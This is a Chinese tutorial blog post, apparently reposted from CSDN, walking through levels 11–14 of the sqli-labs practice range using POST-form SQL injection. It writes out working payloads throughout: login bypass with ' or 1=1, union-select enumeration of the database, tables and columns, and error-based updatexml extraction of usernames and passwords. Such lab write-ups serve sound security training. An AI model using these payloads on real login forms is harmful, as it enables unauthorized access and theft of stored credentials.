自学内容网 自学内容网

sqli-lab靶场学习(四)——Less11-14(post方法)

前言

第1-10关都是get方法,本关开始进入post方法。其实post也好get也好,本质都差不多,使用的技巧也基本相同。

Less11

第11关打开是一个输入用户名密码的界面

显然登陆对话框会使用post方式提交,这里我们尝试在Username一栏通过单引号闭合看看什么效果:

提示有个报错,看来就是单引号闭合,那可以肯定这里有个注入点,在Username框尝试(注意每个输入前面都有个单引号+空格!是闭合变量用的,不是手误):

' or 1=1 -- asd

 是不是发现和第一关的get方法效果类似!既然有回显,那就尝试通过联合注入的方式,先看看有多少列,在Username框输入:

' union select 1 -- asd

这里报错了,表示union后的列数不对,当我们尝试:

' union select 1,2 -- asd

不仅对了,而且还把联合注入部分回显到页面,和第一关类似。那接下来就是获取数据库命了,在Username框输入:

' union select database(),2 -- asd

得到数据库名为security。接着就是获取表名:

' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- asd

显然users应该就是我们要找的表,然后是查找列名:

' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') -- asd

 列名中username和password应该就是我们要找的列,然后查出用户名和密码:

' union select 1,(select group_concat(username) from users) -- asd

' union select 1,(select group_concat(password) from users) -- asd

通关!

Less12

第十二关先输入单引号

显示错误,再输入双引号:

 看报错信息,应该是双引号和括号作为闭合,测试一下,在Username框输入:

") or 1=1 -- asd

成功,那就确定了通过双引号+括号闭合。剩下的参考第11关即可,不再复述。

Less13

第13关先测试单引号

看来是单引号+括号的闭合,再测试:

') or 1=1 -- asd

确定了单引号+括号的闭合,但是这里没有登陆正确的回显。不过有错误的回显,所以可以利用updatexml大法来处理,和第五关的处理方式类似。在Username框输入:

') or updatexml('1',concat('~',database(),'~'),'1') -- asd

找出了数据库名为security。然后找出对应表名,Username对话框输入:

') or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'),'1')  -- asd

 第一个表是emails,我们逐个尝试,当输入:

') or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~'),'1')  -- asd

找出了users表。接着是列名,同样我们逐个尝试后,在输入以下两条时找到了username和password列名:

') or updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 4,1),'~'),'1')  -- asd
') or updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 5,1),'~'),'1')  -- asd

之后找出用户名,Username框输入:

') or updatexml('1',concat('~',(select username from security.users limit 0,1),'~'),'1')  -- asd

 

密码:

') or updatexml('1',concat('~',(select password from security.users limit 0,1),'~'),'1')  -- asd

通关!

Less14

第14关和13关类似,区别仅在于通过双引号闭合,其余都一样,不另外叙述。


原文地址:https://blog.csdn.net/sadoshi/article/details/142382656

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!